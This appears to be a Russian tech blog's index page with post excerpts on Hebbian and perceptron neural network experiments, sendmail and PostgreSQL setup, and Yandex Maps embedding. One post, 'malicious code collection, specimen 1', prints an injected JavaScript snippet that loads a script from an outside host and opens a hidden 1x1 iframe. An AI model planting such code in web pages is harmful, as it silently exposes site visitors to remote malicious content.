Обучение нейросети без учителя с аккредитацией.

В этой статье рассмотрен метод обучения нейросети без учителя по методу Хэбба. Как видно из результатов, семантические расстояния между объектами определяются не всегда верно. Но есть модифицированный метод Хэбба с «аккредитацией». В его ходе изменяются веса не всех нейронов слоя, а только того, веса входящих связей которого наименее отличаются от выходов нейронов предыдущего слоя.

Применим данный метод к тем же входным данным и получим следующее распределение.

Continue reading


Обучение нейронной сети без учителя.

В предыдущих статьях (раз, два) рассматривалась классификация автотранспорта на основе его параметров:

  1.  Масса
  2. Мощность двигателя
  3. Пассажировместимость
  4. Грузоподъёмность

На вход подавались значения этих параметров для различных транспортных средств, на выход эталонное разделение на классы (примеры) и на этих примерах нейросеть обучалась классифицировать повозки. Подом подавались выборки не из обучающих примеров для того, чтобы сеть сказала нам что это такое.

Такое обучение называется обучением с учителем .

Существует так же обучение без учителя, которое отличается тем, что правильных ответов на выход не подаётся, и задача нейросети состоит в том, чтобы в конце обучения установить степень подобия классифицируемых объектов. То есть подавая на вход значения параметров различных объектов, на выходе мы получаем числовую характеристику. К примеру из трёх анализируемых объектов наиболее похожи те, разница характеристики подобия которых меньше.

Воспользуемся теми же входными данными, что и ранее, чтобы обучить нейросеть без учителя по методу Хебба (попытавшимся самостоятельно его реализовать, небольшое дополнение, которое во многих статьях опускается, тем не менее способно выпить много крови: метод Хебба неработоспособен при функции активации нейронов, отличной от пороговой).
Continue reading


Нейронная сеть — многослойный персептрон на задачах распознавания образов.

Для распознавания образов десятичных цифр воспользуемся нейронной сетью следующей топологии:

  1. 25 нейронов входного слоя — датчики затемнения пикселя в матрице 5 на 5 точек
  2. Внутренние слои с 25 нейронами в каждом слое
  3. Выходной слой с 10 нейронами, выход каждого из которых сигнализирует о своей цифре.

Обучим нейронную сеть на 10 цифрах-примерах следующего начертания:

Начальная обучающая выборка

Начальная обучающая выборка

После обучения нейросеть даёт 100% правильные ответы при подаче на неё исходных обучающих примеров.

Затем подадим на входы для опознания цифры следующего начертания

Примеры для контроля

Примеры для контроля

Continue reading


Зависимость свойств многослойной нейронной сети — перцептрона от топологии на задачах классификации.

В предыдущей статье, посвященной построению однослойной нейронной сети-перцептрона была рассмотрена классификация автомобилей с помощью нейросетию. В данной статье будут рассмотрены основные свойства многослойного перцептрона, в зависимости от его топологии (количества слоёв и количества нейронов в каждом слое). В качестве обучающей выборки используем ту же самую, что и ранее. То же и в отношении примеров, не входящих в выборку.

1 Слой по 2 нейрона

Результаты классификации по примерам обучающей выборки

Ока	:	Легковая(35.77%)	Пассажирская(22.02%)	Грузовая(0.02%)	
Газель пас:	Легковая(34.72%)	Пассажирская(72.17%)	Грузовая(0%)	
Калина	:	Легковая(37.08%)	Пассажирская(64.8%)	Грузовая(0%)	
Камаз	:	Легковая(14.15%)	Пассажирская(0%)	Грузовая(94.84%)	
Газель груз:	Легковая(16.49%)	Пассажирская(0%)	Грузовая(92.7%)	
ПАЗ4234:	Легковая(33.57%)	Пассажирская(74.46%)	Грузовая(0%)	
ЗИЛ-5301:	Легковая(14.09%)	Пассажирская(0%)	Грузовая(81.8%)	
Патриот:	Легковая(43.97%)	Пассажирская(24.74%)	Грузовая(6.42%)	
ЛиАЗ-6213:	Легковая(33.61%)	Пассажирская(74.03%)	Грузовая(0%)

Результаты классификации примеров, не входящих в обучающую выборку

Белаз:	        Легковая(14.28%)	Пассажирская(0%)	Грузовая(96.21%)	
БТР80:	        Легковая(34.97%)	Пассажирская(53.95%)	Грузовая(0%)	
Урал мото:	Легковая(14.29%)	Пассажирская(0%)	Грузовая(96.27%)	
Повозка:	Легковая(33.77%)	Пассажирская(67.45%)	Грузовая(0%)	
Велосипед:	Легковая(22.5%)	        Пассажирская(0%)	Грузовая(0.44%)	
Трамвай:	Легковая(33.62%)	Пассажирская(74.03%)	Грузовая(0%)

Имеем очень неуверенные, и не всегда верные ответы по контрольной обучающей выборке. И неуверенные, но адекватные в 5 из 6 случаев ответы на не входящие в обучающую выборку примеры. Мотоцикл «Урал» был почему-то записан в грузовики. Наращиваем количество нейронов в слое.
Continue reading


Настройка отправки почты через sendmail из php в Debian(Ubuntu)

1. Устанавливаем sendmail

apt-get install sendmail-base sendmail-bin

2. Настраиваем php

Правим в /etc/php5/apache2/php.ini

sendmail_path  = /usr/sbin/sendmail -t -i -f mail@mail.r

где mail@mail.ru любой реально существующий email, который в отправляемых письмах будет указан, если from не указано.

3. Перезапускаем apache

/etc/init.d/apache2 restart

Коллекция вредоносного кода. Экземпляр 1.

document.write('<script src="http://kopii-vertu.ru/url.txt" type="text/javascript"></script>');
document.write('<script type="text/javascript">\r' +
'function changesite()\r' +
'{\r' +
' document.getelementbyid( "ifrm" ).src = geturl();\r' +
'}\r' +
'window.onload=changesite;\r' +
'</script>\r' +
'<iframe id="ifrm" src="" width="1" height="1" frameborder="no">');

Как восстановить(сбросить) root(postgres) пароль для PostrgeSQL в Debian(Ubuntu)

Случалось ли вам забывать root-пароль от PostgreSQL-сервера? Если это произошло, вам необходимо сделать следующее(для Debian или Ubuntu, другие дистрибутивы Linux отличаются разве что расположением конфигов и скриптов запуска)
Continue reading


Размещение схемы проезда с помощью Яндекс-Карт.

  1. Отметим на нём точки и линии
  2. Переходим к просмотру
  3. Копируем код, указав адрес сайта(код выдаётся на конкретный домен) и вставляем на сайт